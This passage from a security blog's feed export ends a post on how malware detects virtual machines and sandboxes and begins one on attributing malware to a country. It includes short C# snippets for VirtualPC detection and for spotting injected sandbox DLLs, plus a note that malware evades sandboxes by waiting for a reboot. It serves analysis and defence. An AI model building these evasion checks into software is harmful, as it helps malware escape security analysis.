emulation.” Buffered code emulation is the practice of copying an instruction from a Guest into a host-controlled buffer and executing it there, then returning the results to the Guest. As VirtualPC is intercepting every instruction and deciding what to return back to the caller, it will sometimes alter or craft its own results – as it does with the CPUID instruction. Normal values retuned are “GenuineIntel” and “AuthenticAMD.” With VirtualPC, the result is “ConnectixCPU.” But, I like this example of VirtualPC detection best since it uses the high-level and easy to use language, C#. Consider the following:&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;style&gt;
  div.embedPastebin { padding: 0; color: #000; margin: 0; font-family: monospace; background: #eee; border: 1px solid black; }  div.embedPastebin { border: none; }  div.embedPastebin div.embedFooter { background: #ccc; font-size: 100%; padding: 0px 6px; }  div.embedPastebin div.embedFooter a,  div.embedPastebin div.embedFooter a:visited { color: blue; }  div.embedPastebin div.embedFooter a:hover { color: red; }  .noLines ol { list-style-type: none; padding-left: 0.5em; } 
&lt;/style&gt;&lt;div class=&quot;embedPastebin&quot;&gt;&lt;div class=&quot;embedFooter&quot;&gt;Data provided by &lt;a href=&quot;http://pastebin.com/&quot;&gt;Pastebin.com&lt;/a&gt; - &lt;a href=&quot;http://pastebin.com/raw.php?i=9s7ujGzd&quot; target=&quot;_top&quot;&gt;Download Raw&lt;/a&gt;&lt;/div&gt;&lt;style&gt;
&lt;/style&gt;&lt;style type=&quot;text/css&quot;&gt;
/** * GeSHi (C) 2004 - 2007 Nigel McNie, 2007 - 2008 Benny Baumann * (http://qbnz.com/highlighter/ and http://geshi.org/) */.csharp .de1, .csharp .de2 {font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;}.csharp  {font-family:monospace;}.csharp .imp {font-weight: bold; color: red;}.csharp li, .csharp .li1 {background: #ffffff;}.csharp .ln {width:1px;text-align:right;margin:0;padding:0 2px;vertical-align:top;}.csharp .li2 {background: #f8f8f8;}.csharp .kw1 {color: #0600FF;}.csharp .kw2 {color: #FF8000; font-weight: bold;}.csharp .kw3 {color: #008000;}.csharp .kw4 {color: #FF0000;}.csharp .kw5 {color: #000000;}.csharp .co1 {color: #008080; font-style: italic;}.csharp .co2 {color: #008080;}.csharp .co3 {color: #008080;}.csharp .coMULTI {color: #008080; font-style: italic;}.csharp .es0 {color: #008080; font-weight: bold;}.csharp .es_h {color: #008080; font-weight: bold;}.csharp .br0 {color: #000000;}.csharp .sy0 {color: #008000;}.csharp .st0 {color: #666666;}.csharp .st_h {color: #666666;}.csharp .nu0 {color: #FF0000;}.csharp .me1 {color: #0000FF;}.csharp .me2 {color: #0000FF;}.csharp span.xtra { display:block; }
&lt;/style&gt;&lt;div class=&quot;csharp&quot; style=&quot;font-family: monospace;&quot;&gt;&lt;ol&gt;&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kw1&quot;&gt;void&lt;/span&gt; VirtualPCviaWMI&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ManagementObjectSearcher objMOS &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw3&quot;&gt;new&lt;/span&gt; ManagementObjectSearcher&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;st0&quot;&gt;&quot;root&lt;span class=&quot;es0&quot;&gt;\&lt;/span&gt;CIMV2&quot;&lt;/span&gt;, &lt;span class=&quot;st0&quot;&gt;&quot;SELECT * FROM &amp;nbsp;Win32_BaseBoard&quot;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;ManagementObject objManagemnet &lt;span class=&quot;kw1&quot;&gt;in&lt;/span&gt; objMOS.&lt;span class=&quot;me1&quot;&gt;Get&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;objManagemnet.&lt;span class=&quot;me1&quot;&gt;GetPropertyValue&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;Manufacturer&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;.&lt;span class=&quot;me1&quot;&gt;ToString&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;st0&quot;&gt;&quot;Microsoft Corporation&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Console.&lt;span class=&quot;me1&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;VirtualPC detected&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The above example pulls the manufacturer name of the motherboard and tests if it’s “Microsoft Corporation.” If it is, then VirtualPC has just been detected.&lt;br /&gt;
&lt;h1&gt;Software VMs&lt;/h1&gt;&lt;br /&gt;
Examples software VMs include Bochs, Hydra, QEMU, Atlantis, and Norman Sandbox, among many others. Because software VMs try to fully emulate hardware, there are too many techniques to detect them to list here. Because it would be nearly impossible to implement every instruction and match the quirks each instruction has on different families of processors, most of the tests for Software VM’s revolve around testing some of the more arcane instructions.&lt;br /&gt;
&lt;h1&gt;Sandboxes&lt;/h1&gt;&lt;br /&gt;
I personally love sandboxes because of the sheer volume of work they automate and standardization of data they return. I can’t even imagine life before they existed anymore! &lt;img alt=&quot;:-)&quot; class=&quot;wp-smiley&quot; src=&quot;http://www.networkforensics.com/wp-includes/images/smilies/icon_smile.gif&quot; /&gt; However, we need to be realistic about the fact that most (but not all!) are trivial to detect, regardless of hardware platform. This doesn’t mean we should avoid them – it just means we need to ensure we’re compensating for that fact.&lt;br /&gt;
&lt;br /&gt;
A technique I have not seen elsewhere and have used in my own “research” malware in the past is to check the DLLs that have been loaded into my program’s space. To use this technique, you must first create a “fingerprint” of the DLLs your program loads. This is easily accomplished with a couple lines of debug code after you have finished your program. The technique is easy and can be used even in high-level languages like C#. Consider the following:&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;style&gt;
  div.embedPastebin { padding: 0; color: #000; margin: 0; font-family: monospace; background: #eee; border: 1px solid black; }  div.embedPastebin { border: none; }  div.embedPastebin div.embedFooter { background: #ccc; font-size: 100%; padding: 0px 6px; }  div.embedPastebin div.embedFooter a,  div.embedPastebin div.embedFooter a:visited { color: blue; }  div.embedPastebin div.embedFooter a:hover { color: red; }  .noLines ol { list-style-type: none; padding-left: 0.5em; } 
&lt;/style&gt;&lt;div class=&quot;embedPastebin&quot;&gt;&lt;div class=&quot;embedFooter&quot;&gt;Data provided by &lt;a href=&quot;http://pastebin.com/&quot;&gt;Pastebin.com&lt;/a&gt; - &lt;a href=&quot;http://pastebin.com/raw.php?i=XzFwHvNZ&quot; target=&quot;_top&quot;&gt;Download Raw&lt;/a&gt;&lt;/div&gt;&lt;style&gt;
&lt;/style&gt;&lt;style type=&quot;text/css&quot;&gt;
/** * GeSHi (C) 2004 - 2007 Nigel McNie, 2007 - 2008 Benny Baumann * (http://qbnz.com/highlighter/ and http://geshi.org/) */.csharp .de1, .csharp .de2 {font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;}.csharp  {font-family:monospace;}.csharp .imp {font-weight: bold; color: red;}.csharp li, .csharp .li1 {background: #ffffff;}.csharp .ln {width:1px;text-align:right;margin:0;padding:0 2px;vertical-align:top;}.csharp .li2 {background: #f8f8f8;}.csharp .kw1 {color: #0600FF;}.csharp .kw2 {color: #FF8000; font-weight: bold;}.csharp .kw3 {color: #008000;}.csharp .kw4 {color: #FF0000;}.csharp .kw5 {color: #000000;}.csharp .co1 {color: #008080; font-style: italic;}.csharp .co2 {color: #008080;}.csharp .co3 {color: #008080;}.csharp .coMULTI {color: #008080; font-style: italic;}.csharp .es0 {color: #008080; font-weight: bold;}.csharp .es_h {color: #008080; font-weight: bold;}.csharp .br0 {color: #000000;}.csharp .sy0 {color: #008000;}.csharp .st0 {color: #666666;}.csharp .st_h {color: #666666;}.csharp .nu0 {color: #FF0000;}.csharp .me1 {color: #0000FF;}.csharp .me2 {color: #0000FF;}.csharp span.xtra { display:block; }
&lt;/style&gt;&lt;div class=&quot;csharp&quot; style=&quot;font-family: monospace;&quot;&gt;&lt;ol&gt;&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kw4&quot;&gt;bool&lt;/span&gt; iveBeenInjected&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw4&quot;&gt;bool&lt;/span&gt; retVal &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; false&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Process pp &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; Process.&lt;span class=&quot;me1&quot;&gt;GetCurrentProcess&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ProcessModuleCollection pma &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; pp.&lt;span class=&quot;me1&quot;&gt;Modules&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;ProcessModule pm &lt;span class=&quot;kw1&quot;&gt;in&lt;/span&gt; pma&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// checkName is a simple function that uses a switch() statement &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// to see if the name is in the “fingerprint” list of DLL&#39;s loaded&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// by my program. (In this case, it&#39;s 39 entries.)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;!&lt;/span&gt;checkName&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;pm.&lt;span class=&quot;me1&quot;&gt;ModuleName&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;pm.&lt;span class=&quot;me1&quot;&gt;ModuleName&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;!=&lt;/span&gt; pp.&lt;span class=&quot;me1&quot;&gt;ProcessName&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; retVal &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; true&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Console.&lt;span class=&quot;me1&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pm.&lt;span class=&quot;me1&quot;&gt;ModuleName&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;+&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;st0&quot;&gt;&quot; is injected from &quot;&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;+&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pm.&lt;span class=&quot;me1&quot;&gt;BaseAddress&lt;/span&gt;.&lt;span class=&quot;me1&quot;&gt;ToString&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;+&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;st0&quot;&gt;&quot; file: &quot;&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;+&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pm.&lt;span class=&quot;me1&quot;&gt;FileName&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;return&lt;/span&gt; retVal&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;bool checkName(string nameOfLoadedDLL) is a method that returns true if the dll mapped in the program’s process space is known to belong to the “fingerprint” of this program. If the dll mapped in is unknown to the program, then it returns false and the logic below is executed.&lt;br /&gt;
&lt;br /&gt;
This simple function is enough to catch many sandboxes (again, not all of them), even if you’ve followed their best practices and rename their monitoring dll (typically injected into all new processes). &amp;nbsp;Other examples of sandbox detection include using the hook detection employed by numerous security programs to find malware (except in this case – used by malware to detect sandboxes), counting hooks, etc..&lt;br /&gt;
&lt;br /&gt;
Unfortunately, in the case of sandboxes, malware doesn’t even need to go through all that trouble to defeat them. The only thing malware needs to do is ensure its persistence through a reboot, then wait for a reboot to take place. That alone is enough to defeat the analysis steps of most analysis!&lt;br /&gt;
&lt;h1&gt;Summary&lt;/h1&gt;&lt;br /&gt;
In short, you have seen that while many people quibble over VM detection being as simple as looking for registry keys and mac addresses (all easily mitigated from a security perspective), VM detection is actually:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Much easier than programmatically dealing with the registry&lt;/li&gt;
&lt;li&gt;Much harder [nearly impossible] to mitigate when behavior of hardware is the target of testing&lt;/li&gt;
&lt;li&gt;Happens on a massive scale in malware in the wild&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
While the use of Virtual Machines has many advantages for research purposes, their selection and limitations should be carefully weighed against your actual objectives.&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://garygolomb.blogspot.com/feeds/3746538815957499802/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://garygolomb.blogspot.com/2010/12/vm-detection-by-in-wild-malware.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9200389290278441968/posts/default/3746538815957499802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9200389290278441968/posts/default/3746538815957499802'/><link rel='alternate' type='text/html' href='http://garygolomb.blogspot.com/2010/12/vm-detection-by-in-wild-malware.html' title='VM Detection by In-The-Wild Malware'/><author><name>Gary Golomb</name><uri>http://www.blogger.com/profile/16783084866456430578</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='17' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbRNeGtEO_W_ItNA_YX1leAKitOl81FwZwc8AxB9392DDZM3EZeO3ujmVb2ApY2SQUQktxu93BRV9FQQupRDp0wyE8peWmR2oQ4_h0q1be5eZRH0-u-n59pXKh0bUXQsk/s220/IMG_0435.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9200389290278441968.post-3724479752871506047</id><published>2010-11-27T10:45:00.004-05:00</published><updated>2010-11-29T05:21:54.253-05:00</updated><title type='text'>Identifying the country of origin for a malware PE executable</title><content type='html'>&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 10pt;&quot;&gt;&lt;span style=&quot;font-family: Calibri;&quot;&gt;Note: This is a reprint of a posting I made for my company, NetWitness (&lt;/span&gt;&lt;a href=&quot;http://www.netwitness.com/&quot;&gt;&lt;span style=&quot;font-family: Calibri;&quot;&gt;www.netwitness.com&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Calibri;&quot;&gt;). This is unchanged from the original, however that copy can be found at: &lt;a href=&quot;http://www.networkforensics.com/2010/11/25/identifying-the-country-of-origin-for-a-malware-pe-executable/&quot;&gt;http://www.networkforensics.com/2010/11/25/identifying-the-country-of-origin-for-a-malware-pe-executable/&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 10pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;span style=&quot;font-family: Calibri;&quot;&gt;&lt;span class=&quot;entry&quot;&gt;Have you ever wondered how people writing reports about malware can say where the malware was [likely] developed?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;blockquote&gt;11/16/2009 6:41:48 PM –&amp;gt;&amp;nbsp; Hook instalate lsass.exe&lt;/blockquote&gt;&lt;br /&gt;
We can use Google Translate’s “language detect” feature to help up determine the language used:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg27hSagCstzoZp4ZusdOb7caBF_8lO5WfL60D_bC3f_PCSSvFCtRSDfSD8y3mkyAKIIBIOrUoH59bTVvq3X8qIf9_uV1K8u5AvLnzT2YhEhnrKOAwiq9T1k6oGYOr_PZcIC0CfzZT8N3I/s1600/google+translate.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;80&quot; ox=&quot;true&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg27hSagCstzoZp4ZusdOb7caBF_8lO5WfL60D_bC3f_PCSSvFCtRSDfSD8y3mkyAKIIBIOrUoH59bTVvq3X8qIf9_uV1K8u5AvLnzT2YhEhnrKOAwiq9T1k6oGYOr_PZcIC0CfzZT8N3I/s400/google+translate.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
